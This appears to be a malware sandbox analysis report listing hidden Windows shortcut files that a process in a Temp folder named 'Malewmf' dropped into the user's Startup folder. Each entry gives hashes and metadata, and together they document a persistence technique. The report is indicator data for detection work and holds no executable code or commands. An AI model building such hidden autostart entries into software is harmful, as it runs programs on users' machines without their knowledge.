File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91750301334785
Encrypted:	false
SSDEEP:	24:8KBfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IUEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8BCC5D856445D88B92E4DC57B73D6312
SHA1:	125A621840A00D2DCC43839E5D3AFFBFFB03A362
SHA-256:	F92D5FD540E55191F64357C982C32AE30448A4F7C5789A82F198AEA81CB5B5B6
SHA-512:	560F25450F36C0EA9232F97F9E4F7A0720A4B91F599DBA87E4F99EEE68D414166270ADDE0025FF2BE0C0BD4E13562F21EC1554047D5657AC333FE50AF05C41FF
Malicious:	false
Preview:	L..................F....".......d...g..=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69d33ceb2f08449ba185957139ff0b71.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926955926081947
Encrypted:	false
SSDEEP:	24:8mTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B4266C2300FC2534F483D520418F3C28
SHA1:	C40BC6803AADEEEE74669E3A2111E2117AFCB6DF
SHA-256:	9C7E327D20F6875C2DBEB2E1037820B080BBA6EA04D0D929A3D3288872E620E5
SHA-512:	C7CC1F72E3EBDB87C2487AA547AFE733F70418CCCEF95C65B114FDBFD1A62DF7E908525631321E7B57936E6AF815391469D04BA7879872636DC876801615F59E
Malicious:	false
Preview:	L..................F....".......d.... 0<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69da4bdb24e54987959ce6874a5e3926.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917159084250438
Encrypted:	false
SSDEEP:	24:8VJBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8J5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	EA3BC227419E74E2C3039408F37AD9BD
SHA1:	E575DB06B0BFAB07EAACC6F4BA880F27585EA995
SHA-256:	90E4CD448500C6BC184D07EC7C50D49B8EC4081CBAAAAE2A2D2E9CEC330FCD59
SHA-512:	C3D7DC3AFCE5FD8668CA80C175A25465F74076F0789458435873EC7A1E699688708040780876B47885423CDEDE2CADE9E64A96E7322AE0D784DE3C790C8A8FD5
Malicious:	false
Preview:	L..................F....".......d....."Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69fc8cf410144fb2a36262a25fbcaad0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452584
Encrypted:	false
SSDEEP:	24:8bBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8N59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E913EF63EF868471014E13F8458215B1
SHA1:	5A88B9D1CB0BC527CB66053BF90B9C0F9205EA9B
SHA-256:	D9085AE2AF71565A7440DF22DEE218067AA61A7194CAD505F1459C41E5478089
SHA-512:	B94830C100A010E7EC70635ED7D890014B8C112335F8FF8B0A70F4B0A4566D4CA121C54C435818B4804C0E356F37415462F6C43333B0F791EF6C31A65EE9038B
Malicious:	false
Preview:	L..................F....".......d....d.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ab8f828c78a43ef9a67ab2e2e658d78.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92377562610447
Encrypted:	false
SSDEEP:	24:8XBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8x2EvZ0yRO7DLO2zdxdRd1kyg
MD5:	916D7D03C64796163FEB0CF6FE922CA0
SHA1:	088076E1E8EEE85DA3554BA80ACA3AAD0F6D5426
SHA-256:	FCFF09C87A1CF0521E4AB72D62C7B567B4A92BAD0B94CFEF6CCA9D5B96D72BFE
SHA-512:	34DF3457910E1C23A6EDB4639FF778E1D3A029EDFAAB7FB01AC22C4A044CA7DC9895E5189CBB49259FC3E9CA345F602811FC28C971D73C4EE56AAF2B14C2872C
Malicious:	false
Preview:	L..................F....".......d.....";d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3..;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6acd36fce39f42b48c04491511b0f9cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918569249994543
Encrypted:	false
SSDEEP:	24:86BfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	57FF7692E3DE24600573E9C2E5C6F8EB
SHA1:	26F45B31A2D2754F070A898D114CCDD5063ACEAB
SHA-256:	E142E3AC151D216515DAA05AAAC24BBAF5787C300E2F20F198313FE7B2783761
SHA-512:	3DF9AA9767F1EC7BFD654EE3622E6F8E515CFDA152C5CF463047AE4F02F20A00EF81BE0800EE5CD1AAA1FC8C83B4DEB24CE91C7F0E788A09AC3A8EFC854452BD
Malicious:	false
Preview:	L..................F....".......d...-..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6afd23ddb9ec4076ae527f891f3fcebf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923656860136232
Encrypted:	false
SSDEEP:	24:8XBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	22F8BBC9CDCD3375F8911F20E72CF4C4
SHA1:	C5964A94B1A8E79D672F377687A60232D3210DFA
SHA-256:	5D13D520BE0C3696D093AC5FC2142340074B4BD7D7A8312F068BBFBDDD4C1D3C
SHA-512:	CE3C0C56BB06FAFF38278292C9568435DD1E582B4532576F4ABD2C6B386FF8809E823E7F82E1065982CE26EB36D33E338B25C39EE5C996137224DA6C6F17BD5C
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b272fdc85144af495869368ff03d7c4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913865461043917
Encrypted:	false
SSDEEP:	24:88Bf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8y5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	0780394C90771A79CE0D0F1F51B6C7CD
SHA1:	6001A42BE35325E671E7C0FAE1C50E31494D010F
SHA-256:	91865E0323D5E9D4929867A881C4820AA2BB87CE3834FD4FAF19813ADB6A98AF
SHA-512:	A4D27A422FAB06B8D58E04A11FC702BEE950CB9B25308C22E07E773A1F8C869EE3C386D1195A274C48E9818B4D8BDBABB57777DC6A54E04D70EDF9E6002AB3D8
Malicious:	false
Preview:	L..................F....".......d...z.D=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b3ba21ee3c44a63ac92142ea9b09592.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920904805869949
Encrypted:	false
SSDEEP:	24:8lBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8n2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F379E46231144657D6F44F6B1AC74A53
SHA1:	32D556650ADB39C616411B3EEBB996A882467AC8
SHA-256:	15114E87420BE8952F75674CC69598F33BE176AFCA588A5440A72B7CDA7B36E5
SHA-512:	4B74634EFB9F137130294B85063074916ADE0FEC2342F32393F3C8487EF688C2193A4181585A0D59BDB8FBF24FA8C714980456CC4A23DBD6F9136E0823772BD7
Malicious:	false
Preview:	L..................F....".......d...5?.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b8a5cb063d64055b2d3b4b5585506fd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927322614253336
Encrypted:	false
SSDEEP:	24:8tBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fbEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0008C0E6A363F6FB3A53FF65AA7912F4
SHA1:	42679959DAD12D6FBB6DF01767CD23C49C0244F8
SHA-256:	F107431C7A7AE7B7925AAE783A69D739822A6462FC24E88AA1917E1683F3CDFA
SHA-512:	54C320FD2474E4FBCA9B742FB6BF84A477E3A301B281B99AFCF885A72606820889D809BE3278D34B534E882C2C004BDE0B898C215A03FBD6816A94180EDE1A38
Malicious:	false
Preview:	L..................F....".......d....8.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bc227b4bec442d0be4ecfb491c69c1f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923472329311109
Encrypted:	false
SSDEEP:	24:8dBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FE492B608946C1478688C380ECDBF57B
SHA1:	DCBA0554189A8810EA79FF601C08AD21D55622AA
SHA-256:	79E03758746155C0B641F39F45D344F9B6927E92B45DBD3026ACD077C0BA26DA
SHA-512:	5B713A655BED4529EEDF2E302278D5178F680BD8AFF10A169BFBA3DA1A98501EEF14530EEE1BA1FEB3155B10EA6603A4810BE2A9E62CF5AB3173A40EE0BB549D
Malicious:	false
Preview:	L..................F....".......d....F.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6beaf90d0c264ae98376a118991ca6ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925304557816813
Encrypted:	false
SSDEEP:	24:8b42BfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8U8bEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D49F5E664A634AAE2F2B99B22B1760A1
SHA1:	E8D8D28739FF5224FF659F227A5BA281FD89B0FC
SHA-256:	5D458BED36DCADFFFB37CDBAC5FEA843CCCE75B3943C3656592CFD5EBEC395A8
SHA-512:	DB550237D29812D1FE9E7977C3BBCA93E75200A7771088929CF27615AC2E627E8E3ACC1894E7CD23AF59D601EDBDA4C39A4A8D8B88C4053F8351883A255A4DA4
Malicious:	false
Preview:	L..................F....".......d...U...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c35b3a9e1cc46efa939274e60f86470.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925695841808507
Encrypted:	false
SSDEEP:	24:8rBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	89A6DFE47289563BD1F43993FB3902D1
SHA1:	5D2D5CE6EB2963A0324C547645601D7E391AFDEF
SHA-256:	F71A07CC60A4E7173F5DA6791DB3FF9311D81E681F9C4143B1281B61BEF726F6
SHA-512:	A85027EC7D5FD474C8684555BAFBD3DA5C9A1BF1C7E9F46A7171D320DEA298EBD6176DD5C403A223A9FE51813109E61FAC14C4E0D57784F27EC29667D111FE31
Malicious:	false
Preview:	L..................F....".......d....p.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c85892c17804b8e94ac47c1953de172.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
